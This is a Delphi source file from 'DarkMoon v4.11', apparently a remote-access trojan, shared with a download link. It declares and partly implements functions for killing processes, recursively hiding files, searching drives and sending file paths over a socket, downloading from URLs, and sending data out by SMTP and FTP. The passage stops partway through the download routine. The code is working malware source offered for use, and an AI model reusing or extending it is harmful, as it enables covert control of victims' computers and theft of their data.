dm5314_ucommandsandutils.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit DM5314_UCommandsAndUtils;

interface
uses Windows,wininet, winsock ,TlHelp32, ShellApi, MMSystem;
function FindWindowsDir : string;
function CloseProcces(Exefile: string): string;

function split (text : string;char : char; num : integer):string;
procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
function GetLocalPath:string;
function GetFileName (text : string):string;
procedure SendData (SOCKET : TSOCKET;Data :string);
function FindChar(Word: string;char : char):integer  ;
function FindNChars(Word: string;char : char):integer  ;
function ShellEx(Path : string):string;
function LocalIP: string;
function Replace(strSource:string; strToFind:string; strReplace:string): string;

function Get_SysPath:string  ;

function EsXP : Boolean;
function Descargar( url : String; Parametro2: String  ): boolean;

function  BorrarArchivo( s: String ): integer;

function FileExists( s : String ): Boolean;
function StrToInt64(const S: string): Int64;
function BuffToStr( const b : Array of Char ) : string;
function StrToInt(const S: string ): Integer;
function StrPas(const Str: PChar): string;
function IntToStr(Value: Integer): string;
function StrPCopy(Dest: PChar; const Source: string): PChar;
function LowerCase(const S: string): string;
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
function StrToIntDef(const S: string; Default: Integer): Integer;
function Trim(const S: string): string;
function UpperCase( S :String ): String ;
function stringtochar(st : string) : char;
function HexToInt(s: string): Longword;
function KillProcess( Parametro : String): String;
function Procces( ):string;
procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
function PeerToName(Socket: TSocket): string;
function PeerToAddress(Socket: TSocket): string;
function PeerToPort(Socket: TSocket): string;
procedure LIST( SOCKET : Tsocket;dir : string );
procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
procedure HideFile( s :String);
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
 var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
      Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
      MouseLoco, Rebota, Vivorita : Boolean;

      //esto es para el boton de inicio
      h    : THandle;
      r    : TRect;
      Grave: Integer = 20;

      //para consola
      ConsolaApp : String;
      RunPipe    : Boolean;
      EsConsola  : Boolean;
       Clave   : String;


implementation

      uses Mainform;





function KillProcess( Parametro : String): String;
var h : THandle;
begin
     Result := 'KillProcess is terminated!';
     try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
         if TerminateProcess( h, 0 ) then
            Result := 'KillProcess is terminated!'
         except
     end;
end;

function Procces(): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
begin
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                 Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
           until not Next;
      end;
      CloseHandle( SHandle );

      Result :=Tmp
      end;

function CloseProcces(Exefile: string): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
begin
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                  if    Proceso.szExeFile=Exefile    then begin

                  KillProcess ( IntToStr( Proceso.th32ProcessID ) );
                // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
                       end;

           until not Next;
      end;
      CloseHandle( SHandle );

      Result :=''
      end;




procedure HideFile( s :String);
var i : Byte;
begin
     i := GetFileAttributes( Pchar ( s ) );
     i := i or $00000002;   //oculto
     SetFileAttributes( Pchar( s ),i );
end;

function Ocultar( Path: String; oculto:Boolean  ): String ;
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     retval := FindFirstFile( PChar( path ), sr );
     if retval = -1 then
          Exit;
     sigue := true;
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
         begin
             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                  Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '\*.*', true );
         end
         else begin
                   HideFile(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
               end;
         sigue := FindNextFile( retval, sr );
      end;
end;

procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     sigue := true;
     if path[ Length( path ) ] <> '\' then
        path := path +'\';
     retval := FindFirstFile( Pchar( path + '*.*' ), sr );
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
            if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                 BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
         sigue := FindNextFile( retVal, sr );
     end;

     if path[ Length( path ) ] <> '\' then
        path := path + '\';
     RetVal := FindFirstFile( Pchar( path + mask ), sr );
     if RetVal = -1 then
        Exit;
     sigue := true;
     while sigue do
     begin
          if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
             SendData(SOCKET, path + sr.CfileName);
          sigue := FindNextFile( retVal, sr );
     end;
end;


procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
begin
     if Bajando then
     begin
          //Contestar( udp, cli, LocalIP + ': Ahorita estoy bajando otro archivo de la web, esperame!!!', tcp );
          Exit;
     end;
     if FileExists( Parametro2 ) then
     begin
          //Contestar( udp, cli, LocalIP + ': El archivo de salida ya existe y no lo pienso sobreescribir, as